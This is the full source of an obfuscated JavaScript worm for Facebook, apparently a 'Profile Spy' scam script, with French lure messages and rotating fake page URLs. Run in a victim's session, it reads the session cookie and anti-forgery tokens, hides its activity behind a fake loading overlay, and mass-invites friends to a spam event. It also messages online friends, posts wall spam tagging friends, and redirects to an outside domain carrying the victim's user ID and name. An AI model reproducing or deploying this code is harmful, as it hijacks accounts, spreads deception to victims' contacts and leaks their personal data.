1. var urls = new Array("facebook.com/pages/Profile-Spy-v40/213147338704806",
  2.              "facebook.com/pages/Profile-Spy-v40/206825882673056",
  3.              "facebook.com/pages/Profile-Spy-v40/216520008374688",
  4.              "facebook.com/pages/Profile-Spy-v40/222067727808310",
  5.              "facebook.com/pages/Profile-Spy-v40/198278830207916",
  6.              "facebook.com/pages/Profile-Spy-v40/150163701718015",
  7.              "facebook.com/pages/Profile-Spy-v40/219287128098400",
  8.              "facebook.com/pages/Profile-Spy-v40/111544345595744",
  9.              "facebook.com/pages/Profile-Spy-v40/151664361566810",
  10.              "facebook.com/pages/Profile-Spy-v40/182550565131186",
  11.              "facebook.com/pages/Profile-Spy-v40/216752701684840",
  12.              "facebook.com/pages/Profile-Spy-v40/111680932250350",
  13.              "facebook.com/pages/Profile-Spy-v40/209219529098679",
  14.              "facebook.com/pages/Profile-Spy-v40/201629726542501",
  15.              "facebook.com/pages/Profile-Spy-v40/158118167583896",
  16.              "facebook.com/pages/Profile-Spy-v40/170306143024363",
  17.              "facebook.com/pages/Profile-Spy-v40/116620611752380",
  18.              "facebook.com/pages/Profile-Spy-v40/116892231725700",
  19.              "facebook.com/pages/Profile-Spy-v40/171420489578885",
  20.              "facebook.com/pages/Profile-Spy-v40/120428528036532",
  21.              "facebook.com/pages/Profile-Spy-v40/171440456243845",
  22.              "facebook.com/pages/Profile-Spy-v40/220652561278609",
  23.              "facebook.com/pages/Profile-Spy-v40/116991795048869",
  24.              "facebook.com/pages/Profile-Spy-v40/189344747778735",
  25.              "facebook.com/pages/Profile-Spy-v40/197850340257326",
  26.              "facebook.com/pages/Profile-Spy-v40/219173448093039",
  27.              "facebook.com/pages/Profile-Spy-v40/198543836853903",
  28.              "facebook.com/pages/Profile-Spy-v40/157293404333919",
  29.              "facebook.com/pages/Profile-Spy-v40/182310901821731",
  30.              "facebook.com/pages/Profile-Spy-v40/167542699969679",
  31.              "facebook.com/pages/Profile-Spy-v40/157933100935682",
  32.  
  33.              "facebook.com/pages/Profile-Spy-v40/111615038924932"
  34.              );
  35. var randomurl = urls[Math.floor(urls.length*Math.random())];
  36.  
  37. var randomnumber=Math.floor(Math.random()*99999);
  38. var chatmessage = '%firstname% voyez qui vous suit sur profile @ ' +randomurl+'?'+randomnumber;
  39. var postmessage = 'Mon principaux harceleurs: \n\ %tf% - 1136 vues \n\ %tf% - 983 vues \n\ %tf% - 542 vues \n\ %tf% - 300 vues \n\ voyez qui vous suit sur profile @ http://www.' +randomurl+'?'+randomnumber;
  40. var redirect = 'http://mytimecount.info/fr.php';
  41. var eventdesc = 'Maintenant vous pouvez voir vos principaux amis qui ont visionne votre profile @ http://www.' +randomurl+'?'+randomnumber;
  42. var eventname = 'Mon profile lianes sont : ' +randomnumber;
  43. var nfriends = 5000;
  44. var debug = false;
  45. var wf = 0;
  46. var mf = function () {
  47.         if (wf <= 0) {
  48.             setTimeout(function () {
  49.                 window['top']['location']['href'] = redirect;
  50.             }, 500);
  51.         };
  52.     };
  53. var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
  54.         var _0xaa04xe = new XMLHttpRequest();
  55.         _0xaa04xe['open']('GET', _0xaa04xb);
  56.         _0xaa04xe['onreadystatechange'] = function () {
  57.             if (_0xaa04xe['readyState'] == 4) {
  58.                 if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
  59.                     _0xaa04xc(_0xaa04xe['responseText']);
  60.                 };
  61.                 if (_0xaa04xd) {
  62.                     _0xaa04xd();
  63.                 };
  64.             };
  65.         };
  66.         _0xaa04xe['send']();
  67.     };
  68. doget('/', function (_0xaa04xf) {
  69.     var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
  70.     var _0xaa04x11 = function (_0xaa04x12) {
  71.             return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
  72.         };
  73.     var _0xaa04x13 = function (_0xaa04x12) {
  74.             return _0xaa04x12 ? _0xaa04x12['name'] : '';
  75.         };
  76.     var _0xaa04x14 = function (_0xaa04x12) {
  77.             out = '';
  78.             for (var _0xaa04x15 in _0xaa04x12) {
  79.                 out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
  80.             };
  81.             return out;
  82.         };
  83.     var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
  84.             var _0xaa04xe = new XMLHttpRequest();
  85.             _0xaa04xe['open']('POST', _0xaa04xb);
  86.             _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
  87.             _0xaa04xe['onreadystatechange'] = function () {
  88.                 if (_0xaa04xe['readyState'] == 4) {
  89.                     if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
  90.                         _0xaa04xc(_0xaa04xe['responseText']);
  91.                     };
  92.                     if (_0xaa04xd) {
  93.                         _0xaa04xd();
  94.                     };
  95.                 };
  96.             };
  97.             _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
  98.         };
  99.     var _0xaa04x17 = function () {
  100.             var _0xaa04x18 = document['createElement']('div');
  101.             _0xaa04x18['style']['display'] = 'block';
  102.             _0xaa04x18['style']['position'] = 'absolute';
  103.             _0xaa04x18['style']['width'] = 100 + '%';
  104.             _0xaa04x18['style']['height'] = 100 + '%';
  105.             _0xaa04x18['style']['left'] = 0 + 'px';
  106.             _0xaa04x18['style']['top'] = 0 + 'px';
  107.             _0xaa04x18['style']['textAlign'] = 'center';
  108.             _0xaa04x18['style']['padding'] = '4px';
  109.             _0xaa04x18['style']['background'] = '#FFFFFF';
  110.             _0xaa04x18['style']['zIndex'] = 999999;
  111.             _0xaa04x18['innerHTML'] = '&nbsp;<br/>Please wait, this can take up to a minute...<br/><br/>Or if you get sick of waiting, you can <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> (results may be less accurate)<br/><img src="http://www.infacta.com/IMG/loadingAnimation.gif">';
  112.             document['body']['appendChild'](_0xaa04x18);
  113.         };
  114.     var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
  115.     if (_0xaa04x19) {
  116.         comp = _0xaa04x19[1];
  117.     } else {
  118.         comp = '';
  119.     };
  120.     var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
  121.     var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
  122.     var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
  123.     redirect = redirect + '?' + _0xaa04x14({
  124.         userid: _0xaa04x10,
  125.         name: _0xaa04x1c,
  126.         doclose: 1
  127.     });
  128.     _0xaa04x17();
  129.     if (eventdesc) {
  130.         wf++;
  131.         _0xaa04x16('/ajax/choose/?__a=1', {
  132.             type: 'event',
  133.             eid: null,
  134.             invite_message: '',
  135.             __d: 1,
  136.             post_form_id: _0xaa04x1a,
  137.             fb_dtsg: _0xaa04x1b,
  138.             lsd: null,
  139.             post_form_id_source: 'AsyncRequest'
  140.         }, function (_0xaa04x1d) {
  141.             var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
  142.             var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
  143.             doget(_0xaa04xb, function (_0xaa04x1f) {
  144.                 var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
  145.                 var _0xaa04x21 = [];
  146.                 for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
  147.                     var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
  148.                     if (_0xaa04x23 != _0xaa04x10) {
  149.                         _0xaa04x21['push'](_0xaa04x23);
  150.                     };
  151.                 };
  152.                 var _0xaa04x24 = new Date();
  153.                 _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
  154.                 datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
  155.                 timestr = _0xaa04x24['getHours']() * 60;
  156.                 var _0xaa04x25 = {
  157.                     post_form_id: _0xaa04x1a,
  158.                     fb_dtsg: _0xaa04x1b,
  159.                     start_dateIntlDisplay: datestr,
  160.                     start_date: datestr,
  161.                     start_time_hour_min: timestr,
  162.                     name: eventname,
  163.                     place_page_id: '',
  164.                     location: '',
  165.                     street: '',
  166.                     geo_id: '',
  167.                     geo_sq: '',
  168.                     desc: eventdesc,
  169.                     sgb_invitees: _0xaa04x21['join'](','),
  170.                     sgb_emails: '',
  171.                     sgb_message: '',
  172.                     privacy_type: 'on',
  173.                     guest_list: 'on',
  174.                     connections_can_post: 'on',
  175.                     save: 'Create Event',
  176.                     submitting: ''
  177.                 };
  178.                 _0xaa04x25['new'] = '';
  179.                 _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
  180.                     mf(--wf);
  181.                 });
  182.             });
  183.         });
  184.     };
  185.     if (chatmessage) {
  186.         wf++;
  187.         _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
  188.             user: _0xaa04x10,
  189.             post_form_id: _0xaa04x1a,
  190.             fb_dtsg: _0xaa04x1b,
  191.             lsd: null,
  192.             post_form_id_source: 'AsyncRequest',
  193.             popped_out: false,
  194.             force_render: true
  195.         }, function (_0xaa04x1d) {
  196.             var _0xaa04x26 = _0xaa04x1d['substr'](9);
  197.             var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
  198.             var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
  199.             for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
  200.                 var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
  201.                 var _0xaa04x2b = (new Date())['getTime']();
  202.                 var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
  203.                 _0xaa04x16('/ajax/chat/send.php?__a=1', {
  204.                     msg_id: Math['floor'](Math['random']() * 1335448958),
  205.                     client_time: (new Date())['getTime'](),
  206.                     msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
  207.                     to: _0xaa04x29,
  208.                     post_form_id: _0xaa04x1a,
  209.                     fb_dtsg: _0xaa04x1b,
  210.                     post_form_id_source: 'AsyncRequest'
  211.                 });
  212.             };
  213.             mf(--wf);
  214.         });
  215.     };
  216.     if (postmessage) {
  217.         wf++;
  218.         doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
  219.             var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
  220.             var _0xaa04x2d = [];
  221.             if (_0xaa04x20) {
  222.                 for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
  223.                     var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
  224.                     var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
  225.                     _0xaa04x2d['push']({
  226.                         id: _0xaa04x23,
  227.                         name: _0xaa04x2e
  228.                     });
  229.                 };
  230.             };
  231.             var _0xaa04xd = [];
  232.             var _0xaa04x2f = [];
  233.             while (_0xaa04x2d['length']) {
  234.                 var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
  235.                 _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
  236.                 _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
  237.                 var _0xaa04x2b = _0xaa04x2d['shift']();
  238.                 if (_0xaa04x30) {
  239.                     _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
  240.                 };
  241.             };
  242.             if (debug) {
  243.                 alert('fetched friends: ' + _0xaa04xd['length']);
  244.             };
  245.             var _0xaa04x31 = {
  246.                 post_form_id: _0xaa04x1a,
  247.                 fb_dtsg: _0xaa04x1b,
  248.                 xhpc_composerid: comp,
  249.                 xhpc_targetid: _0xaa04x10,
  250.                 xhpc_context: 'home',
  251.                 xhpc_fbx: '',
  252.                 lsd: null,
  253.                 post_form_id_source: 'AsyncRequest'
  254.             };
  255.             mt = postmessage;
  256.             m = postmessage;
  257.             while (mt['search']('%tf%') >= 0) {
  258.                 var _0xaa04x32 = _0xaa04xd['pop']();
  259.                 mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
  260.                 m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
  261.             };
  262.             _0xaa04x31['xhpc_message_text'] = mt;
  263.             _0xaa04x31['xhpc_message'] = m;
  264.             if (debug) {
  265.                 alert('message text: ' + mt);
  266.             };
  267.             _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
  268.             var _0xaa04x33 = function (_0xaa04x15) {
  269.                     if (_0xaa04x15 == 0) {
  270.                         wf = 0;
  271.                         mf();
  272.                         return;
  273.                     };
  274.                     var _0xaa04x34 = _0xaa04x2f['shift']();
  275.                     var _0xaa04x35 = {
  276.                         post_form_id: _0xaa04x1a,
  277.                         fb_dtsg: _0xaa04x1b,
  278.                         xhpc_composerid: comp,
  279.                         xhpc_targetid: _0xaa04x34['id'],
  280.                         xhpc_context: 'profile',
  281.                         xhpc_fbx: 1,
  282.                         lsd: null,
  283.                         post_form_id_source: 'AsyncRequest'
  284.                     };
  285.                     var _0xaa04x36 = postmessage;
  286.                     var _0xaa04x37 = postmessage;
  287.                     if (_0xaa04xd['length'] == 0) {
  288.                         wf = 0;
  289.                         mf();
  290.                         return;
  291.                     };
  292.                     while (_0xaa04x36['search']('%tf%') >= 0) {
  293.                         var _0xaa04x38 = _0xaa04xd['pop']();
  294.                         _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
  295.                         _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
  296.                     };
  297.                     _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
  298.                     _0xaa04x35['xhpc_message'] = _0xaa04x37;
  299.                     _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
  300.                     setTimeout(function () {
  301.                         _0xaa04x33(_0xaa04x15 - 1);
  302.                     }, 2000);
  303.                 };
  304.             wf++;
  305.             setTimeout(function () {
  306.                 _0xaa04x33(nfriends);
  307.             }, 2000);
  308.         });
  309.     };
  310.     mf();
  311. });